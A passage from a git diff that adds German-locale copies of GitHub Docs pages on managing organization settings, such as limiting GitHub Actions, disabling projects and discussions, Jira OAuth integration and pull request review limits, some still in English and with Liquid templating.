+**Note:** If necessary, a site administrator for {% data variables.location.product_location %} may be able to partially restore a deleted organization. For more information, see "[Restoring a deleted organization](/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization)."
+
+{% endnote %}
+{% endif %}
+
+## 2. Delete the organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+4. Near the bottom of the organization's settings page, click **Delete this Organization**.
+   ![Delete this organization button](/assets/images/help/settings/settings-organization-delete.png)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization.md
new file mode 100644
index 0000000000..16a8b094da
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization.md
@@ -0,0 +1,32 @@
+---
+title: 'Deaktivieren von Erkenntnissen für {% data variables.projects.projects_v2 %} in deiner Organisation'
+intro: 'Organisationsbesitzer*innen können Erkenntnisse für {% data variables.product.prodname_projects_v2 %} in ihrer Organisation deaktivieren.'
+versions:
+  feature: projects-v2
+product: '{% data reusables.gated-features.historical-insights-for-projects %}'
+topics:
+  - Projects
+shortTitle: 'Disable {% data variables.product.prodname_projects_v2 %} insights'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 80a35ea28d90b89c39fb7f9207b2ea950a98a8b6
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108303'
+---
+Nachdem du Erkenntnisse für Projekte in deiner Organisation deaktiviert hast, ist es nicht möglich, auf Erkenntnisse für organisationseigene Projekte zuzugreifen.
+
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Klicke in der Randleiste auf **{% octicon "sliders" aria-label="The sliders icon" %} Features**.
+   ![Screenshot des Menüelements „Features“](/assets/images/help/projects-v2/features-org-menu.png)
+1. Deaktiviere unter „Erkenntnisse“ die Option **Erkenntnisse für die Organisation aktivieren**.
+   ![Screenshot des Kontrollkästchens „Erkenntnisse für die Organisation aktivieren“](/assets/images/help/projects-v2/disable-insights-checkbox.png)
+1. Klicke auf **Speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/disable-insights-save.png)
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects)
+- [Informationen zu Erkenntnissen für {% data variables.projects.projects_v2 %}](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
new file mode 100644
index 0000000000..fa245c2915
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
@@ -0,0 +1,190 @@
+---
+title: Disabling or limiting GitHub Actions for your organization
+intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Disable or limit actions
+miniTocMaxHeadingLevel: 3
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About {% data variables.product.prodname_actions %} permissions for your organization
+
+{% data reusables.actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
+
+You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.actions.disabled-actions-description %}
+
+Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} a workflow can run.
+
+## Managing {% data variables.product.prodname_actions %} permissions for your organization
+
+You can choose to disable {% data variables.product.prodname_actions %} for all repositories in your organization, or only allow specific repositories. You can also limit the use of public actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, so that people can only use local actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that exist in your {% ifversion ghec or ghes or ghae %}enterprise{% else %}organization{% endif %}.
+
+{% note %}
+
+**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
+
+{% endnote %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-general %}
+1. Under "Policies", select an option.
+
+   {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %}
+
+   {% ifversion actions-workflow-policy %}
+   ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy-with-workflows.png)
+   {%- else %}
+   ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png)
+   {%- endif %}
+1. Click **Save**.
+
+{% data reusables.actions.allow-specific-actions-intro %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-general %}
+1. Under "Policies", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} to the list.
+
+   {% ifversion actions-workflow-policy %}
+   ![Add actions and reusable workflows to the allow list](/assets/images/help/organizations/actions-policy-allow-list-with-workflows.png)
+   {%- elsif ghes %}
+   ![Add actions to the allow list](/assets/images/help/organizations/actions-policy-allow-list.png)
+   {%- else %}
+   ![Add actions to the allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png)
+   {%- endif %}
+1. Click **Save**.
+
+{% ifversion fpt or ghec %}
+## Configuring required approval for workflows from public forks
+
+{% data reusables.actions.workflow-run-approve-public-fork %}
+
+You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-general %}
+{% data reusables.actions.workflows-from-public-fork-setting %}
+
+{% data reusables.actions.workflow-run-approve-link %}
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+## Enabling workflows for private repository forks
+
+{% data reusables.actions.private-repository-forks-overview %}
+
+{% ifversion ghec or ghae or ghes %}If a policy is disabled for an enterprise, it cannot be enabled for organizations.{% endif %} If a policy is disabled for an organization, it cannot be enabled for repositories. If an organization enables a policy, the policy can be disabled for individual repositories.
+
+{% data reusables.actions.private-repository-forks-options %}
+
+### Configuring the private fork policy for an organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-general %}
+{% data reusables.actions.private-repository-forks-configure %}
+{% endif %}
+
+## Setting the permissions of the `GITHUB_TOKEN` for your organization
+
+{% data reusables.actions.workflow-permissions-intro %}
+
+You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you select a restrictive option as the default in your organization settings, the same option is selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and a more restrictive default has been selected in the enterprise settings, you won't be able to select the more permissive default in your organization settings.
+
+{% data reusables.actions.workflow-permissions-modifying %}
+
+### Configuring the default `GITHUB_TOKEN` permissions
+
+{% ifversion allow-actions-to-approve-pr-with-ent-repo  %}
+By default, when you create a new organization, `GITHUB_TOKEN` only has read access for the `contents` scope.
+{% endif %}
+
+{% data reusables.profile.access_profile %}
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-general %}
+1. Under "Workflow permissions", choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
+
+   {% ifversion allow-actions-to-approve-pr %}
+      {% ifversion allow-actions-to-approve-pr-with-ent-repo %}
+   ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-creation-approval.png)
+      {% else %}
+   ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-approval.png)
+      {% endif %}
+   {% else %}
+   ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-approval.png)
+   {% endif %}
+1. Click **Save** to apply the settings.
+
+{% ifversion allow-actions-to-approve-pr %}
+### Preventing {% data variables.product.prodname_actions %} from {% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating or {% endif %}approving pull requests
+
+{% data reusables.actions.workflow-pr-approval-permissions-intro %}
+
+By default, when you create a new organization, workflows are not allowed to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create or {% endif %}approve pull requests.
+
+{% data reusables.profile.access_profile %}
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-general %}
+1. Under "Workflow permissions", use the **Allow GitHub Actions to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create and {% endif %}approve pull requests** setting to configure whether `GITHUB_TOKEN` can {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create and {% endif %}approve pull requests.
+
+   {% ifversion allow-actions-to-approve-pr %}
+      {% ifversion allow-actions-to-approve-pr-with-ent-repo %}
+   ![Set GITHUB_TOKEN pull request approval permission for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-creation-approval.png)
+      {% else %}
+   ![Set GITHUB_TOKEN pull request approval permission for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-approval.png)
+      {% endif %}
+   {% else %}
+   ![Set GITHUB_TOKEN pull request approval permission for this organization](/assets/images/help/settings/actions-workflow-permissions-organization.png)
+   {% endif %}
+1. Click **Save** to apply the settings.
+
+{% endif %}
+
+{% ifversion actions-cache-org-ui %}
+
+## Managing {% data variables.product.prodname_actions %} cache storage for your organization
+
+Organization administrators can view {% ifversion actions-cache-admin-ui %}and manage {% endif %}{% data variables.product.prodname_actions %} cache storage for all repositories in the organization. 
+
+### Viewing {% data variables.product.prodname_actions %} cache storage by repository
+
+For each repository in your organization, you can see how much cache storage a repository is using, the number of active caches, and if a repository is near the total cache size limit. For more information about the cache usage and eviction process, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#usage-limits-and-eviction-policy)."
+
+{% data reusables.profile.access_profile %}
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+1. In the left sidebar, click {% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **Caches**.
+1. Review the list of repositories for information about their {% data variables.product.prodname_actions %} caches. You can click on a repository name to see more detail about the repository's caches.
+
+{% ifversion actions-cache-admin-ui %}
+
+### Configuring {% data variables.product.prodname_actions %} cache storage for your organization
+
+{% data reusables.actions.cache-default-size %}
+
+You can configure the size limit for {% data variables.product.prodname_actions %} caches that will apply to each repository in your organization. The cache size limit for an organization cannot exceed the cache size limit set in the enterprise policy. Repository admins will be able to set a smaller limit in their repositories.
+
+{% data reusables.profile.access_profile %}
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-general %}
+{% data reusables.actions.change-cache-size-limit  %}
+
+{% endif %}
+
+{% endif %}
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md
new file mode 100644
index 0000000000..86b75c4cd6
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md
@@ -0,0 +1,45 @@
+---
+title: 'Disabling {% ifversion projects-v2 %}projects{% else %}project boards{% endif %} in your organization'
+intro: 'Organization owners can turn off {% ifversion projects-v2 %}organization-wide {% data variables.projects.projects_v2 %}, organization-wide {% data variables.projects.projects_v1_boards %}, and repository-level {% data variables.projects.projects_v1_boards %}{% else %}organization-wide project boards and repository project boards{% endif %} in an organization.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-project-boards/disabling-project-boards-in-your-organization
+  - /articles/disabling-project-boards-in-your-organization
+  - /github/managing-your-work-on-github/disabling-project-boards-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Disable projects
+allowTitleToDifferFromFilename: true
+---
+After you disable organization-wide project boards, it won’t be possible to create new project boards at the organization level, and any existing organization-level project boards will become inaccessible at their previous URLs. Project boards in repositories in the organization are not affected. {% ifversion projects-v2 %}These settings apply to {% data variables.projects.projects_v2 %} and {% data variables.projects.projects_v1_boards %}.{% endif %}
+
+After you disable repository project boards in an organization, it won't be possible to create new project boards in any repositories in the organization, and any existing project boards in repositories in the organization will become inaccessible at their previous URLs. Project boards at the organization level are not affected.
+
+
+When you disable project boards, you will no longer see project board information in timelines or [audit logs](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization).
+
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Code planning, and automation" section of the sidebar, click **{% octicon "table" aria-label="The table icon" %} Projects**.
+{% endif %}
+1. Decide whether to disable organization-wide project boards, disable repository project boards in the organization, or both. Then, under "Projects":
+    - To disable organization-wide project boards, unselect **Enable projects for the organization**.
+    - To disable repository project boards in the organization, unselect **Enable projects for all repositories**.
+  ![Checkboxes to disable projects for an organization or for all of an organization's repositories](/assets/images/help/projects/disable-org-projects-checkbox.png)
+1. Click **Save**.
+
+{% data reusables.organizations.disable_project_board_results %}
+
+## Further reading
+
+{% ifversion projects-v2 %}- "[About {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects)"{% endif %}
+- "[About {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)"
+- "[Closing a {% data variables.projects.projects_v1_board %}](/articles/closing-a-project-board)"
+- "[Deleting a {% data variables.projects.projects_v1_board %}](/articles/deleting-a-project-board)"
+- "[Disabling {% data variables.projects.projects_v1_boards %} in a repository](/articles/disabling-project-boards-in-a-repository)"
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md
new file mode 100644
index 0000000000..bcf938d079
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md
@@ -0,0 +1,31 @@
+---
+title: Aktivieren oder Deaktivieren von GitHub-Diskussionen für eine Organisation
+intro: 'Mit {% data variables.product.prodname_discussions %} kannst du in einer Organisation Unterhaltungen führen, die kein bestimmtes Repository in deiner Organisation betreffen.'
+permissions: 'Organization owners can enable {% data variables.product.prodname_discussions %} for their organization.'
+versions:
+  feature: discussions
+topics:
+  - Organizations
+shortTitle: Organization discussions
+ms.openlocfilehash: 618a91482e1856e5e4c8fdfa9ff6ce64b997912f
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710179'
+---
+## Informationen zu Organisationsdiskussionen
+
+{% data reusables.discussions.about-organization-discussions %}
+
+Du kannst auch Repositorydiskussionen verwalten. Weitere Informationen findest du unter [Aktivieren oder Deaktivieren von GitHub-Diskussionen für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository) und [Verwalten der Diskussionserstellung für Repositorys in deiner Organisation](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization).
+
+## Aktivieren oder Deaktivieren von {% data variables.product.prodname_discussions %} für deine Organisation
+
+{% data reusables.discussions.enabling-or-disabling-github-discussions-for-your-organization %}
+1. Hebe die Auswahl von **Diskussionen für diese Organisation aktivieren** auf, um Diskussionen zu deaktivieren.
+
+## Weitere Informationsquellen
+
+- [Informationen zu Diskussionen](/discussions/collaborating-with-your-community-using-discussions/about-discussions)
+- "[Verwalten von Diskussionen für deine Community](/discussions/managing-discussions-for-your-community)"
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/index.md b/translations/de-DE/content/organizations/managing-organization-settings/index.md
new file mode 100644
index 0000000000..326ab02308
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/index.md
@@ -0,0 +1,55 @@
+---
+title: Organisationseinstellungen verwalten
+intro: 'Organisationsadministratoren können mehrere Einstellungen ändern, beispielsweise die Namen der Repositorys der Organisation und die Mitgliedschaft im Inhaberteam. Darüber hinaus können Organisationsadministratoren die Organisation und alle ihre Repositorys löschen.'
+redirect_from:
+  - /articles/managing-organization-settings
+  - /github/setting-up-and-managing-organizations-and-teams/managing-organization-settings
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /verifying-or-approving-a-domain-for-your-organization
+  - /renaming-an-organization
+  - /transferring-organization-ownership
+  - /restricting-repository-creation-in-your-organization
+  - /setting-permissions-for-deleting-or-transferring-repositories
+  - /restricting-repository-visibility-changes-in-your-organization
+  - /managing-the-forking-policy-for-your-organization
+  - /managing-pull-request-reviews-in-your-organization
+  - /disabling-or-limiting-github-actions-for-your-organization
+  - /configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization
+  - /setting-permissions-for-adding-outside-collaborators
+  - /allowing-people-to-delete-issues-in-your-organization
+  - /enabling-or-disabling-github-discussions-for-an-organization
+  - /managing-discussion-creation-for-repositories-in-your-organization
+  - /managing-the-commit-signoff-policy-for-your-organization
+  - /setting-team-creation-permissions-in-your-organization
+  - /limiting-oauth-app-and-github-app-access-requests
+  - /managing-scheduled-reminders-for-your-organization
+  - /managing-the-default-branch-name-for-repositories-in-your-organization
+  - /managing-default-labels-for-repositories-in-your-organization
+  - /changing-the-visibility-of-your-organizations-dependency-insights
+  - /managing-the-display-of-member-names-in-your-organization
+  - /managing-updates-from-accounts-your-organization-sponsors
+  - /managing-the-publication-of-github-pages-sites-for-your-organization
+  - /deleting-an-organization-account
+  - /converting-an-organization-into-a-user
+  - /integrating-jira-with-your-organization-project-board
+  - /upgrading-to-the-corporate-terms-of-service
+  - /disabling-project-boards-in-your-organization
+  - /disabling-insights-for-projects-in-your-organization
+  - /allowing-project-visibility-changes-in-your-organization
+shortTitle: Manage organization settings
+ms.openlocfilehash: d19c515ac3d908df15afd8c5741553f7526a6f99
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148008179'
+---
+{% ifversion fpt or ghec %} {% endif %}
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md b/translations/de-DE/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md
new file mode 100644
index 0000000000..98f6bf0f5b
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md
@@ -0,0 +1,38 @@
+---
+title: Integrating Jira with your organization project board
+intro: 'You can integrate Jira Cloud with your organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues.'
+redirect_from:
+  - /articles/integrating-jira-with-your-organization-project-board
+  - /github/setting-up-and-managing-organizations-and-teams/integrating-jira-with-your-organization-project-board
+versions:
+  ghes: '*'
+  ghae: '*'
+shortTitle: Integrate Jira
+---
+{% ifversion ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+1. In the left sidebar, select **{% octicon "code" aria-label="The code icon" %} Developer settings**, then click **OAuth Apps**.
+  ![OAuth applications tab in the left sidebar](/assets/images/help/organizations/org-oauth-applications-ghe.png)
+1. Click **New OAuth App**.
+{% else %}
+{% data reusables.user-settings.access_settings %}
+1. In the left sidebar under **Organization settings**, click the name of your organization.
+![Sidebar organization name](/assets/images/help/settings/organization-settings-from-sidebar.png)
+1. In the left sidebar under **Developer settings**, click **OAuth applications**.
+  ![OAuth applications tab in the left sidebar](/assets/images/help/organizations/org-oauth-applications-ghe.png)
+1. Click **Register a new application**.
+{% endif %}
+1. Under **Application name**, type "Jira".
+2. Under **Homepage URL**, type the full URL to your Jira instance.
+3. Under **Authorization callback URL**, type the full URL to your Jira instance.
+4. Click **Register application**.
+![Register application button](/assets/images/help/oauth/register-application-button.png)
+9. Under **Organization owned applications**, note the "Client ID" and "Client Secret" values.
+![Client ID and Client Secret](/assets/images/help/oauth/client-id-and-secret.png)
+{% data reusables.user-settings.jira_help_docs %}
+
+## Further reading
+
+- ["Integrating Jira with your personal projects"](/articles/integrating-jira-with-your-personal-projects)
+- <a href="https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html" data-proofer-ignore>Connect Jira Cloud to GitHub</a> (Atlassian documentation)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md b/translations/de-DE/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md
new file mode 100644
index 0000000000..ec3cea6a3b
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md
@@ -0,0 +1,29 @@
+---
+title: Beschränken von Zugriffsanforderungen durch OAuth- und GitHub-Apps
+intro: 'Als Organisationsbesitzer kannst du festlegen, ob externe Projektmitarbeiter Organisationszugriff für {% data variables.product.prodname_oauth_apps %} und {% data variables.product.prodname_github_apps %} anfordern dürfen.'
+versions:
+  feature: limit-app-access-requests
+permissions: Organization owners can limit who can make app access requests to the organization.
+topics:
+  - Organizations
+  - GitHub Apps
+  - OAuth Apps
+shortTitle: Limit app access requests
+ms.openlocfilehash: 4ea1bd133dcbabb9e7b3e3cbe65da5ff9c6eabac
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148008167'
+---
+## Informationen zu Integrationszugriffsanforderungen
+
+Wenn Integrationszugriffsanforderungen aktiviert sind, können externe Projektmitarbeiter Organisationszugriff für {% data variables.product.prodname_github_apps %} und {% data variables.product.prodname_oauth_apps %} anfordern, die noch nicht von deiner Organisation genehmigt wurden. Wenn du Integrationszugriffsanforderungen deaktivierst, können nur Organisationsmitglieder Organisationszugriff für nicht genehmigte {% data variables.product.prodname_github_apps %} und {% data variables.product.prodname_oauth_apps %} anfordern. Externe Projektmitarbeiter können weiterhin ihre Einwilligung für vorab genehmigte {% data variables.product.prodname_github_apps %} und {% data variables.product.prodname_oauth_apps %} erteilen, die auf dieselben Ressourcen zugreifen, auf die der anfordernde externe Mitarbeiter zugreifen kann.
+
+Integrationszugriffsanforderungen sind standardmäßig aktiviert. Wenn deine Organisation über eine große Anzahl von externen Projektmitarbeitern verfügt, solltest du die Integrationszugriffsanforderungen deaktivieren, um die Anzahl der Anforderungen zu verringern, die du überprüfen musst. 
+
+## Aktivieren oder Deaktivieren von Integrationszugriffsanforderungen
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.profile.org_member_privileges %}
+1. Aktiviere oder deaktiviere unter „Integrationszugriffsanforderungen“ die Option **Integrationsanforderungen von externen Projektmitarbeitern zulassen**, und klicke auf **Speichern**.
+    ![Screenshot der Einstellung „Integrationszugriffsanforderungen“](/assets/images/help/organizations/integration-access-requests.png)
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md
new file mode 100644
index 0000000000..bd52628531
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md
@@ -0,0 +1,58 @@
+---
+title: Managing default labels for repositories in your organization
+intro: You can customize the labels that are included in every new repository in your organization.
+redirect_from:
+  - /articles/managing-default-labels-for-repositories-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/managing-default-labels-for-repositories-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage default labels
+---
+
+Organization owners can manage default labels for repositories in the organization.
+
+Default labels are included in every new repository in your organization, but anyone with write access to the repository can edit or delete the labels in that repository later. Adding, editing, or deleting a default label does not add, edit, or delete the label from existing repositories.
+
+## Creating a default label
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.repository-defaults %}
+
+5. Under "Repository labels", click **New label**.
+  ![New label button](/assets/images/help/organizations/new-label-button.png)
+{% data reusables.project-management.name-label %}
+{% data reusables.project-management.label-description %}
+{% data reusables.project-management.label-color-randomizer %}
+{% data reusables.project-management.create-label %}
+
+## Editing a default label
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.repository-defaults %}
+
+{% data reusables.project-management.edit-label %}
+{% data reusables.project-management.name-label %}
+{% data reusables.project-management.label-description %}
+{% data reusables.project-management.label-color-randomizer %}
+{% data reusables.project-management.save-label %}
+
+## Deleting a default label
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.repository-defaults %}
+
+{% data reusables.project-management.delete-label %}
+{% data reusables.project-management.confirm-label-deletion %}
+
+## Further reading
+
+- "[About labels](/articles/about-labels)"
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md
new file mode 100644
index 0000000000..6c725ccce2
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md
@@ -0,0 +1,32 @@
+---
+title: Managing discussion creation for repositories in your organization
+intro: You can choose the permission levels that members require to create discussions in repositories owned by your organization.
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization
+permissions: Organization owners can manage discussion creation for repositories owned by the organization.
+versions:
+  feature: discussions
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage repository discussions
+---
+
+
+## Allowing or disallowing users with read access to create discussions
+
+By default, organization members with read access can create discussions if a repository administrator or organization owner enables discussions for a repository owned by the organization.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.member-privileges %}
+5. Under "Repository discussions", select or deselect **Allow users with read access to create discussions**.
+  ![Checkbox to allow people with read access to create discussions](/assets/images/help/discussions/toggle-allow-users-with-read-access-checkbox.png)
+6. Click **Save**.
+  !["Save" button for discussions settings](/assets/images/help/discussions/click-save.png)
+
+## Further reading
+
+- "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)"
+- "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)"
+- "[Enabling or disabling GitHub Discussions for an organization](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)"
diff --git a/translations/de-DE/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md b/translations/de-DE/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md
new file mode 100644
index 0000000000..c4d40a6850
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md
@@ -0,0 +1,33 @@
+---
+title: Verwalten von Pull Request-Reviews in deiner Organisation
+intro: 'Du kannst einschränken, welche Benutzer in deiner Organisation Änderungen an einem Pull Request genehmigen oder anfordern können.'
+versions:
+  feature: pull-request-approval-limit
+permissions: Organization owners can limit which users can submit reviews that approve or request changes to a pull request.
+topics:
+  - Organizations
+  - Pull requests
+shortTitle: Manage pull request reviews
+ms.openlocfilehash: 2d097e95572932f05795bd28627cb73b1fad43ca
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145125721'
+---
+## Informationen zu Grenzwerten für Code Reviews
+
+Standardmäßig können Benutzer in öffentlichen Repositorys Reviews übermitteln, die einen Pull Review genehmigen oder Änderungen anfordern.
+
+Du kannst einschränken, wer Änderungen an Pull Requests in öffentlichen Repositorys deiner Organisation genehmigen oder anfordern kann. Wenn du Grenzwerte für Code Reviews aktivierst, können alle Personen Pull Requests in deinem öffentlichen Repository kommentieren, aber nur Personen, die über expliziten Zugriff auf ein Repository verfügen, können Pull Requests genehmigen oder Änderungen anfordern.
+
+Du kannst Grenzwerte für Code Reviews auch für einzelne Repositorys aktivieren. Wenn du Grenzwerte für deine Organisation aktivierst, setzt du damit alle Grenzwerte für einzelne Repositorys außer Kraft, die der Organisation gehören. Weitere Informationen findest du unter [Verwalten von Pull Request-Reviews in deinem Repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository).
+
+## Aktivieren von Grenzwerten für Code Reviews
+
